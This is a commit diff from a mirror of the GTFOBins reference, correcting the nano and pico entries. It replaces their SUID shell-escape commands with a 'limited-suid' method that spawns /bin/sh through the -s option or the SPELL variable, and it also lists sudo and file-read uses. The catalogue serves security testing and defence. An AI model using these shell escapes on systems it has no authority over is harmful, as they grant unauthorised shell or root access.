1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Fix wrong nano and pico SUID

This commit is contained in:
Andrea Cardaci 2021-01-10 17:56:17 +01:00
parent 01d4de40d2
commit 33fb39a183
2 changed files with 8 additions and 8 deletions

@ -17,12 +17,12 @@ functions:
^O ^O
file-read: file-read:
- code: nano file_to_read - code: nano file_to_read
suid: limited-suid:
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
code: | code: |
./nano ./nano -s /bin/sh
^R^X /bin/sh
reset; sh 1>&0 2>&0 ^T
sudo: sudo:
- code: | - code: |
sudo nano sudo nano

@ -17,12 +17,12 @@ functions:
^O ^O
file-read: file-read:
- code: pico file_to_read - code: pico file_to_read
suid: limited-suid:
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed. - description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
code: | code: |
./pico ./pico -s /bin/sh
^R^X /bin/sh
reset; sh 1>&0 2>&0 ^T
sudo: sudo:
- code: | - code: |
sudo pico sudo pico